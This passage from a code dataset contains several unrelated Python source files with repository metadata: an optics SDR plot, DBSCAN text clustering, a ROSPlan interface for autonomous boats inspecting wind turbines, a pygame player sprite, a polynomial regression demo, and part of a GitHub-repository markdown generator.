1\nf = 0.1\n\nh1 = H1(fopd, theta_t, gamma_m, gamma_a, lam, t, t_ref, p)\nn_rms = 30\ntheta_d = 0.5 * np.pi / 180\nrms = np.linspace(0, 0.2, n_rms) * lam\n\nt_m = np.zeros(n_rms)\nt_a = np.zeros(n_rms)\nsdr = np.zeros(n_rms)\nfor i in range(n_rms):\n t_m[i] = h1.overall_transmittance(theta_d, f, h1.gamma_m, h1.fsr(fopd), rms[i])\n t_a[i] = h1.overall_transmittance(theta_d, f, h1.gamma_a, h1.fsr(fopd), rms[i])\n sdr[i] = t_m[i] / t_a[i]\n\nfig, ax = plt.subplots()\nax.plot(rms / lam, sdr, color='black')\nax.grid(True)\nax.set_xlabel(r\"Wavefront Error ($\\lambda$)\")\nax.set_ylabel(r\"SDR\")\nax.set_title(\"SDR v. Pure Glass Length Variation\")\nplt.show()\n","repo_name":"zb5003/FWMI_git","sub_path":"sdr_v_wavefront_error.py","file_name":"sdr_v_wavefront_error.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19961588105","text":"import os\nimport jieba\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.feature_extraction.text import TfidfVectorizer as TFIDF\n\n\ndef plot_res(labels,trainingData,core_samples_mask):\n colors = plt.cm.Spectral(np.linspace(0, 1, len(set(labels))))\n for k, col in zip(set(labels), colors):\n if k == -1:\n # Black used for noise.\n col = 'k'\n class_member_mask = (labels == k)\n xy = trainingData[class_member_mask & core_samples_mask]\n plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col,markeredgecolor='k', markersize=10)\n xy = trainingData[class_member_mask & ~core_samples_mask]\n plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=col,markeredgecolor='k', markersize=6)\n plt.title('DBSCAN')\n plt.show()\n\n\n# 1.加载数据\ndef load_data():\n # train、test and stop words\n traindata=pd.read_csv('data/train.csv',sep='\\t')\n testdata=pd.read_csv('data/test_new.csv')\n\n # stopwords\n with open('data/stopwords.txt','r',encoding='utf-8') as f:\n words = f.readlines()\n stopwords = [word.strip() for word in words]\n return traindata,testdata,stopwords\n\n\n# 2.文本转向量\ndef myword2vec(data,stopwords):\n # 这里使用精确模式,即cut_all=False模式进行分词\n data['cut_comment'] = data['comment'].apply(lambda x:' '.join(jieba.lcut(x,cut_all = False)))\n print(data['cut_comment'][:5])\n\n # 停用词处理\n corpus = []\n for i in range(len(data['comment'])):\n corpus.append(' '.join([word for word in jieba.lcut(data['comment'][i].strip()) if word not in stopwords]))\n\n # print(corpus[:3])\n # ['一如既往 好吃 希望 开 城市', '味道 不错 分量 足 客人 满意', '下雨天 想象 中 火爆 环境 干净 古色古香 做 服务行业 服务 场地 脏 阿姨 打扫']\n # return corpus\n\n # 使用TF-IDF\n tfidf = TFIDF(min_df=1, # 最小支持长度\n max_features=800000,\n strip_accents = 'unicode',\n analyzer = 'word',\n token_pattern = r'\\w{1,}',\n ngram_range = (1, 2),\n use_idf = 1,\n smooth_idf = 1,\n sublinear_tf = 1,\n stop_words = None,)\n\n # vectorizer_word = tfidf.fit(corpus)\n # tfidf_matrix = tfidf.transform(corpus)\n # print(vectorizer_word.get_feature_names())\n # print(vectorizer_word.vocabulary_)\n\n # 词频矩阵\n freq_words_matrix = tfidf.fit_transform(corpus)\n # 获取词\n words = tfidf.get_feature_names()\n weight = freq_words_matrix.toarray()\n print(weight.shape)\n\n\n db = DBSCAN(eps=0.85, min_samples=5)\n result = db.fit(weight)\n source = list(db.fit_predict(weight))\n\n label = db.labels_\n\n data['res_label'] = label\n data.to_csv('1.csv')\n\n for i in data[data['res_label'] == 5]['comment']:\n print(i)\n\n core_samples_mask = np.zeros_like(db.labels_, dtype=bool)\n core_samples_mask[db.core_sample_indices_] = True\n plot_res(label,weight,core_samples_mask)\n\n\n\ntraindata,testdata,stopwords = load_data()\nmyword2vec(traindata,stopwords)\n\n","repo_name":"TenSir/MyArticle","sub_path":"Pytorch/100.Pytorch实现DBSCAN聚类/otherMethod/MyMethod_ex2.py","file_name":"MyMethod_ex2.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74242091121","text":"#!/usr/bin/env python\n\n# 3rd Party Packages\nimport re\nimport numpy as np\nfrom threading import Lock\n\n# ROS Packages\nimport rospy\nfrom asv_executive.executor import ActionExecutor\nfrom diagnostic_msgs.msg import KeyValue\nfrom rosplan_dispatch_msgs.msg import ActionDispatch, ActionFeedback\nfrom rosplan_knowledge_msgs.msg import KnowledgeItem\nfrom rosplan_knowledge_msgs.srv import (GetAttributeService,\n GetDomainOperatorDetailsService,\n GetDomainPredicateDetailsService,\n KnowledgeUpdateService,\n KnowledgeUpdateServiceRequest)\nfrom scipy.stats import norm\n\n\nclass PlannerInterface(object):\n\n mutex = Lock()\n\n def __init__(self,\n names,\n asv_waypoints,\n connections,\n wt_to_wp,\n update_frequency=10.):\n \"\"\"\n A Class that interfaces with ROSPlan for dispatching asv actions and\n updating asv knowledge during a mission\n \"\"\"\n self.action_sequence = 0\n self.wt_to_wp = wt_to_wp\n self.connections = connections\n self.dispatch_actions = list()\n self.total_wp = len(asv_waypoints)\n self.goal_state = [list(), list()]\n self._rate = rospy.Rate(update_frequency)\n self.lowfuel = {name['name']: False for name in names}\n self.asvs = [ActionExecutor(name, asv_waypoints) for name in names]\n\n # Rosplan Service proxies\n rospy.loginfo('Waiting for service /rosplan_knowledge_base/update ...')\n rospy.wait_for_service('/rosplan_knowledge_base/update')\n self._knowledge_update_proxy = rospy.ServiceProxy(\n '/rosplan_knowledge_base/update', KnowledgeUpdateService)\n rospy.loginfo(\n 'Waiting for /rosplan_knowledge_base/domain/predicate_details ...')\n rospy.wait_for_service(\n '/rosplan_knowledge_base/domain/predicate_details')\n self._predicate_proxy = rospy.ServiceProxy(\n '/rosplan_knowledge_base/domain/predicate_details',\n GetDomainPredicateDetailsService)\n rospy.wait_for_service(\n '/rosplan_knowledge_base/domain/operator_details')\n self._operator_proxy = rospy.ServiceProxy(\n '/rosplan_knowledge_base/domain/operator_details',\n GetDomainOperatorDetailsService)\n rospy.loginfo(\n 'Waiting for /rosplan_knowledge_base/state/propositions ...')\n rospy.wait_for_service('/rosplan_knowledge_base/state/propositions')\n self._proposition_proxy = rospy.ServiceProxy(\n '/rosplan_knowledge_base/state/propositions', GetAttributeService)\n\n # Subscribers and Publishers\n rospy.Subscriber('/rosplan_plan_dispatcher/action_dispatch',\n ActionDispatch,\n self._dispatch_cb,\n queue_size=10)\n rospy.Subscriber('/rosplan_plan_dispatcher/action_feedback',\n ActionFeedback,\n self._feedback_cb,\n queue_size=10)\n self._feedback_publisher = rospy.Publisher(\n '/rosplan_plan_dispatcher/action_feedback',\n ActionFeedback,\n queue_size=10)\n\n if not self.set_instances():\n rospy.logerr('ASV instances in PDDL can\\'t be set!')\n if not self.set_init(names, asv_waypoints, connections):\n rospy.logerr('ASV initial state can\\'t be set!')\n # Auto call functions\n rospy.Timer(self._rate.sleep_dur, self._wp_update)\n rospy.Timer(10 * self._rate.sleep_dur, self._fuel_update)\n rospy.Timer(self._rate.sleep_dur, self._execute_action)\n rospy.sleep(20 * self._rate.sleep_dur)\n\n def _feedback_cb(self, msg):\n \"\"\"\n Function to make sure this executes actions in the right order\n \"\"\"\n self.action_sequence = msg.action_id + 1 if (\n msg.status == 'action achieved') else self.action_sequence\n\n def _apply_operator_effect(self, op_name, dispatch_params):\n \"\"\"\n Add / remove knowledge based on operator effect and parameters\n from dispatched action\n \"\"\"\n predicate_names = list()\n parameters = list()\n update_types = list()\n response = self._operator_proxy(op_name)\n predicates = (response.op.at_start_add_effects +\n response.op.at_end_add_effects)\n for predicate in predicates:\n predicate_names.append(predicate.name)\n params = list()\n for typed_param in predicate.typed_parameters:\n for param in dispatch_params:\n if typed_param.key == param.key:\n params.append(param)\n break\n parameters.append(params)\n update_types.append(KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE)\n predicates = (response.op.at_start_del_effects +\n response.op.at_end_del_effects)\n for predicate in predicates:\n predicate_names.append(predicate.name)\n params = list()\n for typed_param in predicate.typed_parameters:\n for param in dispatch_params:\n if typed_param.key == param.key:\n params.append(param)\n break\n parameters.append(params)\n update_types.append(KnowledgeUpdateServiceRequest.REMOVE_KNOWLEDGE)\n succeed = self.update_predicates(predicate_names, parameters,\n update_types)\n return succeed\n\n def _action(self, action_dispatch, action_func, action_params=list()):\n \"\"\"\n Template uav action to respond to the dispatched action\n \"\"\"\n self.publish_feedback(action_dispatch.action_id, 'action enabled')\n start_time = rospy.Time(action_dispatch.dispatch_time)\n duration = rospy.Duration(action_dispatch.duration)\n self._rate.sleep()\n rospy.loginfo('Dispatching %s action at %s with duration %s ...' %\n (action_dispatch.name, str(\n start_time.secs), str(duration.to_sec())))\n action_response = action_func(*action_params)\n if action_response == ActionExecutor.ACTION_SUCCESS:\n if self._apply_operator_effect(action_dispatch.name,\n action_dispatch.parameters):\n self.publish_feedback(action_dispatch.action_id,\n 'action achieved')\n else:\n self.publish_feedback(action_dispatch.action_id,\n 'action failed')\n elif action_response == ActionExecutor.OUT_OF_DURATION:\n rospy.logwarn(\"Action %s took longer than the allocated duration\" %\n action_dispatch.name)\n self.publish_feedback(action_dispatch.action_id,\n 'action out of duration')\n elif action_response == ActionExecutor.EXTERNAL_INTERVENTION:\n rospy.logwarn(\n \"External intervention is detected, cancelling mission!\")\n self.publish_feedback(action_dispatch.action_id, 'action failed')\n else:\n self.publish_feedback(action_dispatch.action_id, 'action failed')\n return True\n\n def _fuel_update(self, event):\n \"\"\"\n Update fuel value on ROSPlan knowledge base\n \"\"\"\n for asv in self.asvs:\n # fuel status update\n self.update_functions(\n ['fuel'], [[KeyValue('v', asv.namespace)]], [asv.fuel], [\n KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE,\n ])\n self.lowfuel[asv.namespace] = asv.low_fuel\n\n def _wp_update(self, event):\n \"\"\"\n Add or remove waypoint facts on ROSPlan knowledge base\n \"\"\"\n wp_asv = list()\n params = list()\n pred_names = list()\n update_types = list()\n attributes = self._proposition_proxy('at').attributes\n for attribute in attributes:\n name = attribute.values[0].value\n asv = [i for i in self.asvs if i.namespace == name]\n if len(asv):\n wp_asv.append(name)\n at = int(re.findall(r'\\d+', attribute.values[1].value)[0])\n if asv[0]._current_wp != -1 and at != asv[0]._current_wp:\n # add current wp that asv resides\n pred_names.append('at')\n params.append([\n KeyValue('v', asv[0].namespace),\n KeyValue('wp', 'asv_wp%d' % asv[0]._current_wp)\n ])\n update_types.append(\n KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE)\n # remove previous wp that asv resided\n pred_names.append('at')\n params.append([\n KeyValue('v', asv[0].namespace),\n KeyValue('wp', 'asv_wp%d' % at)\n ])\n update_types.append(\n KnowledgeUpdateServiceRequest.REMOVE_KNOWLEDGE)\n for asv in self.asvs:\n if not (asv.namespace in wp_asv) and asv._current_wp != -1:\n # add current wp that asv resides\n pred_names.append('at')\n params.append([\n KeyValue('v', asv.namespace),\n KeyValue('wp', 'asv_wp%d' % asv._current_wp)\n ])\n update_types.append(\n KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE)\n if pred_names != list():\n self.update_predicates(pred_names, params, update_types)\n\n def publish_feedback(self, action_id, fbstatus):\n \"\"\"\n Function to publish action feedback to action_feedback topic\n \"\"\"\n feedback = ActionFeedback()\n feedback.action_id = action_id\n feedback.status = fbstatus\n self._feedback_publisher.publish(feedback)\n\n def set_instances(self):\n \"\"\"\n Set initial instances for ASVs to ROSPlan\n \"\"\"\n ins_types = list()\n ins_names = list()\n update_types = list()\n for idx in range(self.total_wp + 1):\n ins_types.append('waypoint')\n ins_names.append('asv_wp' + str(idx))\n update_types.append(KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE)\n for asv in self.asvs:\n ins_types.append('asv')\n ins_names.append(asv.namespace)\n update_types.append(KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE)\n return self.update_instances(ins_types, ins_names, update_types)\n\n def set_init(self, asvs, waypoints, connections):\n \"\"\"\n Adding facts to the initial state\n \"\"\"\n succeed = True\n connections.extend([[j, i, k, l] for i, j, k, l in connections\n if i != j])\n for i in connections:\n # add wp connection\n succeed = succeed and self.update_predicates(['connected'], [[\n KeyValue('wp1', 'asv_wp' + str(i[0])),\n KeyValue('wp2', 'asv_wp' + str(i[1]))\n ]], [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n # add min action duration on the wp connection\n succeed = succeed and self.update_functions(['min_dur'], [[\n KeyValue('wp1', 'asv_wp' + str(i[0])),\n KeyValue('wp2', 'asv_wp' + str(i[1]))\n ]], [float(i[2])], [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n # add max action duration on the wp connection\n succeed = succeed and self.update_functions(['max_dur'], [[\n KeyValue('wp1', 'asv_wp' + str(i[0])),\n KeyValue('wp2', 'asv_wp' + str(i[1]))\n ]], [norm.ppf(0.95, loc=float(i[2]), scale=float(i[3]))\n ], [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n # add ASV waypoints for UAV to take-off\n for idx, val in enumerate(waypoints):\n if val['takeoff']:\n succeed = succeed and self.update_predicates(\n ['takeoff_post'],\n [[KeyValue('wp', 'asv_wp' + str(idx + 1))]],\n [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n succeed = succeed and self.update_predicates(['connected'], [[\n KeyValue('wp1', 'asv_wp' + str(idx + 1)),\n KeyValue('wp2', 'uav_wp0')\n ]], [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n for uav_wp_id in val['uav_wp']:\n succeed = succeed and self.update_predicates(\n ['connected'], [[\n KeyValue('wp1', 'asv_wp' + str(idx + 1)),\n KeyValue('wp2', 'uav_wp' + str(uav_wp_id))\n ]], [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n # add ASV features\n for asv in asvs:\n if asv['lr_camera_system']:\n succeed = succeed and self.update_predicates(\n ['has_lr_camera'], [[KeyValue('v', asv['name'])]],\n [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n if asv['charging_dock'] and len(asv['uav_onboard']) > 0:\n succeed = succeed and self.update_predicates(\n ['has_charging_dock', 'charging_post'],\n [[KeyValue('asv', asv['name'])],\n [KeyValue('wp', 'uav_wp0')]], [\n KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE,\n KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE\n ])\n for uav in asv['uav_onboard']:\n succeed = succeed and self.update_predicates(['has_uav'], [[\n KeyValue('asv', asv['name']),\n KeyValue('uav', uav)\n ]], [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n # add fuel, min, max condition\n succeed = succeed and self.update_functions(\n ['min_fuel'], [[KeyValue('v', asv['name'])]],\n [float(asv['min_fuel'])],\n [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n succeed = succeed and self.update_functions(\n ['max_fuel'], [[KeyValue('v', asv['name'])]],\n [float(asv['max_fuel'])],\n [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n succeed = succeed and self.update_functions(\n ['fuel'], [[KeyValue('v', asv['name'])]],\n [float(asv['max_fuel'])],\n [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n succeed = succeed and self.update_functions(\n ['consumption_rate'], [[KeyValue('v', asv['name'])]], [\n norm.ppf(0.95,\n loc=asv['fuel_rate'][0],\n scale=asv['fuel_rate'][1])\n ], [KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE])\n return succeed\n\n def add_mission(self, WTs):\n \"\"\"\n Add (inspection) missions for ASVs to do\n \"\"\"\n params = list()\n pred_names = list()\n update_types = list()\n inspect_wps = ['asv_wp' + str(self.wt_to_wp[wt]) for wt in WTs]\n for wp in inspect_wps:\n pred_names.append('turbine_inspected_at')\n params.append([KeyValue('wp', wp)])\n update_types.append(KnowledgeUpdateServiceRequest.ADD_GOAL)\n pred_names.append('inspect_post')\n params.append([KeyValue('wp', wp)])\n update_types.append(KnowledgeUpdateServiceRequest.ADD_KNOWLEDGE)\n self.goal_state[0].extend(pred_names)\n self.goal_state[1].extend(params)\n succeed = self.update_predicates(pred_names, params, update_types)\n succeed = succeed and self.home_mission()\n return succeed\n\n def home_mission(self):\n \"\"\"\n Returning ASVs to the dock/home mission\n \"\"\"\n params = list()\n pred_names = list()\n update_types = list()\n for asv in self.asvs:\n pred_names.append('at')\n params.append(\n [KeyValue('v', asv.namespace),\n KeyValue('wp', 'asv_wp0')])\n update_types.append(KnowledgeUpdateServiceRequest.ADD_GOAL)\n self.goal_state[0].extend(pred_names)\n self.goal_state[1].extend(params)\n succeed = self.update_predicates(pred_names, params, update_types)\n return succeed\n\n def update_predicates(self, pred_names, parameters, update_types):\n \"\"\"\n Add / remove first order facts or goals\n \"\"\"\n self.mutex.acquire()\n success = True\n for idx, pred_name in enumerate(pred_names):\n req = KnowledgeUpdateServiceRequest()\n req.knowledge.knowledge_type = KnowledgeItem.FACT\n req.knowledge.attribute_name = pred_name\n req.knowledge.values.extend(parameters[idx])\n req.update_type = update_types[idx]\n success = success and self._knowledge_update_proxy(req).success\n self.mutex.release()\n return success\n\n def update_functions(self, func_names, params, func_values, update_types):\n \"\"\"\n Add / remove functions\n \"\"\"\n self.mutex.acquire()\n success = True\n for idx, func_name in enumerate(func_names):\n req = KnowledgeUpdateServiceRequest()\n req.knowledge.knowledge_type = KnowledgeItem.FUNCTION\n req.knowledge.attribute_name = func_name\n req.knowledge.values = params[idx]\n req.knowledge.function_value = func_values[idx]\n req.update_type = update_types[idx]\n success = success and self._knowledge_update_proxy(req).success\n self.mutex.release()\n return success\n\n def resume_plan(self):\n \"\"\"\n Function to resume ongoing plan\n \"\"\"\n self.action_sequence = 0\n for asv in self.asvs:\n asv.previous_mode = asv.current_mode\n asv.current_mode = asv.state.mode\n asv.external_intervened = False\n asv._cancel_action = False\n\n def cancel_plan(self):\n \"\"\"\n Function to cancel current plan\n \"\"\"\n self.action_sequence = 0\n for asv in self.asvs:\n asv._cancel_action = True\n\n def update_instances(self, ins_types, ins_names, update_types):\n \"\"\"\n Add / remove instances\n \"\"\"\n success = True\n for idx, ins_type in enumerate(ins_types):\n req = KnowledgeUpdateServiceRequest()\n req.knowledge.knowledge_type = KnowledgeItem.INSTANCE\n req.knowledge.instance_type = ins_type\n req.knowledge.instance_name = ins_names[idx]\n req.update_type = update_types[idx]\n success = success and self._knowledge_update_proxy(req).success\n return success\n\n def goto_waypoint(self, asv, params, dur=rospy.Duration(60, 0)):\n \"\"\"\n Go to waypoint action for ASV\n \"\"\"\n waypoint = -1\n for param in params:\n if param.key == 'to':\n waypoint = int(re.findall(r'\\d+', param.value)[0])\n break\n if waypoint == 0:\n response = asv.return_to_launch(dur)\n elif waypoint == -1:\n response = ActionExecutor.ACTION_FAIL\n else:\n response = asv.goto(waypoint, dur, asv.low_fuel)\n return response\n\n def clear_mission(self):\n \"\"\"\n Clear ASV related goals\n \"\"\"\n if self.goal_state[0] != list():\n update_types = [\n KnowledgeUpdateServiceRequest.REMOVE_GOAL\n for _ in self.goal_state[0]\n ]\n self.update_predicates(self.goal_state[0], self.goal_state[1],\n update_types)\n self.goal_state = [list(), list()]\n\n def _dispatch_cb(self, msg):\n \"\"\"\n Function for action_dispatch callback\n rosplan_dispatch sends unordered action sequences sometimes\n \"\"\"\n self.dispatch_actions.append(msg)\n\n def _execute_action(self, event=True):\n \"\"\"\n Function to execute the action when the action sequence is done\n \"\"\"\n msg_executed = False\n for idx, msg in enumerate(self.dispatch_actions):\n if msg.action_id != self.action_sequence:\n continue\n # parse action message\n asv_names = [asv.namespace for asv in self.asvs]\n asv_name = [\n parm.value for parm in msg.parameters\n if parm.value in asv_names\n ]\n action_executed = False\n if len(asv_name):\n asv = [i for i in self.asvs if i.namespace == asv_name[0]][0]\n duration = self.get_max_action_duration(\n msg.parameters, msg.duration)\n start = rospy.Time.now()\n if msg.name == 'asv_navigate':\n action_executed = self._action(\n msg, self.goto_waypoint,\n [asv, msg.parameters, duration])\n elif msg.name == 'asv_inspect_wt':\n action_executed = self._action(msg, asv.inspect_wt,\n [duration])\n if action_executed:\n self.update_action_duration(rospy.Time.now() - start,\n msg.parameters)\n msg_executed = True\n break\n if msg_executed:\n del self.dispatch_actions[idx]\n\n def get_max_action_duration(self, parameters, duration):\n \"\"\"\n Get maximum action duration\n \"\"\"\n wps = [\n int(re.findall(r'\\d+', param.value)[0]) for param in parameters\n if 'asv' in param.value\n ]\n wps = [wps[0], wps[0]] if len(wps) == 1 else wps\n try:\n conn = [\n i[-2:] for i in self.connections if set(i[:2]) == set(wps)\n ][-1]\n max_duration = rospy.Duration(\n norm.ppf(0.95, loc=float(conn[0]), scale=float(conn[1])))\n except IndexError:\n max_duration = rospy.Duration(secs=int(duration))\n return max_duration\n\n def update_action_duration(self,\n duration,\n parameters,\n std_dev_likelihood=15.0):\n \"\"\"\n Update average and variance of the action duration\n \"\"\"\n x = float(\"%d.%d\" % (duration.secs, duration.nsecs))\n wps = [\n int(re.findall(r'\\d+', param.value)[0]) for param in parameters\n if 'asv' in param.value\n ]\n wps = [wps[0], wps[0]] if len(wps) == 1 else wps\n connections = [(idx, i) for idx, i in enumerate(self.connections)\n if set(i[:2]) == set(wps)]\n for idx, conn in connections:\n new_std = 1. / ((1. / conn[3]**2) + (1. / std_dev_likelihood**2))\n new_mean = ((float(conn[2]) / conn[3]**2) +\n (x / std_dev_likelihood**2)) * new_std\n self.connections[idx] = [wps[0], wps[1], new_mean, new_std]\n","repo_name":"ferdianjovan/mimree_executive","sub_path":"src/asv_executive/planner_interface.py","file_name":"planner_interface.py","file_ext":"py","file_size_in_byte":23494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10538929754","text":"import pygame\nimport random\nimport Global_vars\nimport os, sys\n\nclass Player(pygame.sprite.Sprite):\n\n def __init__(self):\n\n # Calls the pygame Sprite\n super().__init__()\n\n # Image of Player\n #image = pygame.image.load(Player_spritesheet.png)\n self.image = pygame.image.load(\"Sprites\\Player_base.png\")\n #self.image = image.convert()\n width = Global_vars.player_width\n height = Global_vars.player_height\n #self.image = pygame.Surface([width, height])\n #self.image.fill(Global_vars.RED)\n\n # Set a rectangle hitbox\n self.rect = self.image.get_rect()\n\n # Set speed vector of Player\n self.change_x = 0\n self.change_y = 0\n\n # List of sprites we can bumb against\n self.level = None\n\n self.starting_position = Global_vars.SCREEN_HEIGHT - self.rect.height - 100\n\n def update(self):\n\n # Gravity\n self.calc_grav()\n\n # Move left/right\n self.rect.x += self.change_x\n\n # See if the Player hits anything\n block_hit_list = pygame.sprite.spritecollide(self,self.level.platform_list,False)\n for block in block_hit_list:\n # If the player is moving right\n # set out right side to the left side of the item we hits\n if self.change_x > 0:\n self.rect.right = block.rect.left\n elif self.change_x < 0:\n # Otherwise if we are moving left, do the oppositee\n self.rect.left = block.rect.right\n\n # Move up/down\n self.rect.y += self.change_y\n\n # Check to see if we hit anything\n block_hit_list = pygame.sprite.spritecollide(self, self.level.platform_list, False)\n for block in block_hit_list:\n\n # Reset the plyer's position based on the top\\bottom of the object\n if self.change_y > 0:\n self.rect.bottom = block.rect.top\n elif self.change_y < 0:\n self.rect.top = block.rect.bottom\n\n # Stop our vertical movement\n self.change_y = 0\n\n # Player pos\n Global_vars.player_pos = (self.rect.x, self.rect.y)\n\n def calc_grav(self):\n if self.change_y == 0:\n self.change_y = 1\n else:\n self.change_y += .35\n\n # Check if we are on the ground\n if self.rect.y >= Global_vars.SCREEN_HEIGHT - self.rect.height and self.change_y >= 0:\n self.change_y = 0\n self.rect.y = Global_vars.SCREEN_HEIGHT - self.rect.height\n\n def jump(self):\n\n # move down a bit and see if there is a platform below us.\n # Move down 2 pixels because if doesn't work well if we only move down 1\n # when working with a platform moving down\n self.rect.y += 2\n platform_hit_list = pygame.sprite.spritecollide(self, self.level.platform_list, False)\n self.rect.y -= 2\n\n # If it is ok to jump, set out speed upwards\n if len(platform_hit_list) > 0 or self.rect.bottom >= Global_vars.SCREEN_HEIGHT:\n self.change_y = Global_vars.player_jump_height\n\n Global_vars.steps += 1\n\n def go_right(self):\n self.change_x = Global_vars.player_speed\n\n def stop(self):\n self.change_x = 0\n","repo_name":"WaywardWarlord/AutoRunner","sub_path":"Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":3269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"44012652219","text":"#Data Preprocessing\r\n\r\n#Importing Libraries\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#Importing the dataset\r\n\r\ndataset = pd.read_csv('Position_Salaries.csv')\r\nX = dataset.iloc[:,1:2].values\r\ny = dataset.iloc[:, 2].values\r\n\r\n# Splitting the dataset into training set ad test set\r\n\r\n\"\"\"from sklearn.model_selection import train_test_split\r\nX_train, X_Test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\r\n\"\"\"\r\n#Feature scaling\r\n\"\"\"\r\nfrom sklearn.preprocessing import StandardScaler\r\nstandardscaler = StandardScaler()\r\nX_train = standardscaler.fit_transform(X_train)\r\nX_Test = standardscaler.transform(X_Test)\"\"\"\r\n\r\n#Fitting Linear regression to the data set\r\n\r\nfrom sklearn.linear_model import LinearRegression\r\nlin_reg = LinearRegression()\r\nlin_reg.fit(X, y)\r\n\r\n#Fitting Polynomial regression to data set\r\n\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\npoly_reg = PolynomialFeatures(degree = 10)\r\nX_poly=poly_reg.fit_transform(X)\r\nlin_reg_2 = LinearRegression()\r\nlin_reg_2.fit(X_poly,y)\r\n\r\n#Visualising the linear regression model\r\n\r\nplt.scatter(X, y, color='red')\r\nplt.plot(X, lin_reg.predict(X), color='blue')\r\nplt.title('Linear Regression')\r\nplt.xlabel('Position levels')\r\nplt.ylabel('Salaries')\r\nplt.show()\r\n\r\n#Visualising the Polynomiallinear regression model\r\n\r\nplt.scatter(X, y, color='red')\r\nplt.plot(X, lin_reg_2.predict(X_poly), color='blue')\r\nplt.title('Polynomial Linear Regression')\r\nplt.xlabel('Position levels')\r\nplt.ylabel('Salaries')\r\nplt.show()","repo_name":"kjogada/DataScience","sub_path":"Python Programs/polynomial_linear_regression.py","file_name":"polynomial_linear_regression.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25128631640","text":"import sys\nimport pandas as pd\nfrom datetime import datetime\nfrom typing import List\nfrom loguru import logger\nfrom urllib.parse import urlparse\nfrom library.ghw import GithubWrapper\n\n\ndef get_input_data(csv_location) -> pd.DataFrame:\n df = pd.read_csv(csv_location)\n df.columns = map(str.lower, df.columns)\n assert \"githuburl\" in df.columns\n assert \"category\" in df.columns\n\n df[\"githuburl\"] = df[\"githuburl\"].apply(lambda x: x.lower())\n duplicated_githuburls = df[df.duplicated(subset=[\"githuburl\"])]\n duplicated_count = len(duplicated_githuburls)\n if duplicated_count > 0:\n logger.warning(\n f\"Duplicate githuburl values found in csv: {duplicated_count}\\n{duplicated_githuburls}\"\n )\n logger.error(f\"Fix up {duplicated_count} duplicates from {csv_location} and re-run.\")\n sys.exit()\n else:\n logger.info(\"No duplicate githuburl values found in csv :)\")\n\n return df\n\n\ndef make_markdown(row, include_category=False) -> str:\n url = row[\"githuburl\"]\n name = row[\"_reponame\"]\n organization = row[\"_organization\"]\n homepage = row[\"_homepage\"]\n homepage_display = (\n f\"[{homepage}]({homepage}) \\n[{url}]({url})\"\n if homepage is not None and len(homepage) > 0\n else f\"[{url}]({url})\"\n )\n category = row[\"category\"]\n category_display = (\n f\"[{category}](categories/{category}.md) category, \"\n if include_category and category is not None and len(category) > 0\n else \"\"\n )\n stars = row[\"_stars\"]\n stars_per_week = row[\"_stars_per_week\"]\n stars_per_week = round(stars_per_week, 2) if stars_per_week < 10 else int(stars_per_week)\n age_weeks = row[\"_age_weeks\"]\n forks = row[\"_forks\"]\n watches = row[\"_watches\"]\n updated = row[\"_updated_at\"]\n last_commit_date = row[\"_last_commit_date\"]\n created = row[\"_created_at\"]\n topics = row[\"_topics\"]\n topics_display = (\n \"\\n\" + \", \".join(sorted(topics)) + \"\"\n if len(topics) > 0\n else \"\"\n )\n description = row[\"_description\"]\n language = row[\"_language\"]\n if language is not None and language.lower() != \"python\":\n logger.info(f\"Is {name} really a Python library? Main language is {language}.\")\n\n header = f\"[{name}]({url})\" \\\n if name == organization \\\n else f\"[{name}]({url}) by [{organization}](https://github.com/{organization})\"\n\n return (\n f\"### {header} \"\n f\"\\n{description} \"\n f\"\\n{homepage_display} \"\n f\"\\n{stars_per_week} stars per week over {age_weeks} weeks \"\n f\"\\n{stars:,} stars, {forks:,} forks, {watches:,} watches \"\n f\"\\n{category_display}created {created}, last commit {last_commit_date}, main language {language} \"\n f\"{topics_display}\"\n f\"\\n\\n\"\n )\n\n\ndef _display_description(ghw, name) -> str:\n repo = ghw.get_repo(name)\n if repo.description is None:\n return f\"{name}\"\n else:\n assert repo.name is not None\n if repo.description.lower().startswith(repo.name.lower()) or f\"{repo.name.lower()}:\" in repo.description.lower():\n return f\"{repo.description}\"\n else:\n return f\"{repo.name}: {repo.description}\"\n\n\ndef process(df_input, token) -> pd.DataFrame:\n ghw = 